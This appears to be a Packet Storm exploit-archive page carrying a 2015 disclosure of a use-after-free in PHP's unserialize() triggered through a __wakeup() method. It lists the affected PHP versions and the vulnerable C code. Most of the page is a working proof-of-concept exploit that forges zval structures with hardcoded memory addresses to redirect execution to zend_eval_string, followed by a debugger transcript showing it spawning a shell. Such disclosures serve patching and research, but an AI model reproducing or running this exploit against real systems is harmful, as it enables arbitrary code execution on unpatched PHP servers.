exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP unserialize() Use-After-Free

PHP unserialize() Use-After-Free
Posted Mar 22, 2015
Authored by Taoguang Chen

A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.

tags | exploit, arbitrary
SHA-256 | 0d7d8aafb8d2a37309dece6abe0be384cb2777387f609c40b05070f50d8937ad

PHP unserialize() Use-After-Free

Change Mirror Download
#Use After Free Vulnerability in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3
- Release Date: 2015.3.20

> A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5 <= 5.3.29
Affected is PHP 4 <= 4.4.9

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
zval retval;
zval fname;

if (Z_TYPE_P(rval) != IS_OBJECT) {
return 0;
}

//??? TODO: resize before
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval),
elements, 1)) {
return 0;
}

ZVAL_DEREF(rval);
if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup",
sizeof("__wakeup")-1)) {
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval, 0,
0, 1, NULL);
```

A specially defined __wakeup() magic method lead to various problems.

The simple code:

```
<?php

class evilClass {

public $var;

function __wakeup() {
unset($this->var);
// $this->var = 'ryat';
}
}

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');

?>
```

Object properties assignment or destroy operation leads to the ZVAL
and all its children is freed from memory. However the unserialize()
code will still allow to use R: or r: to set references to that
already freed memory. There is a use after free vulnerability, and
allows to execute arbitrary code.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

```
<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\xff\xff\xff\xff";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';

$z = unserialize($data2);
intval($z[2]);

function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

class evilClass {

public $var;

function __wakeup() {
unset($this->var);
// $this->var = 'ryat';
}
}

?>
```

Test the PoC on the command line, then any PHP code can be executed:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)
```


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close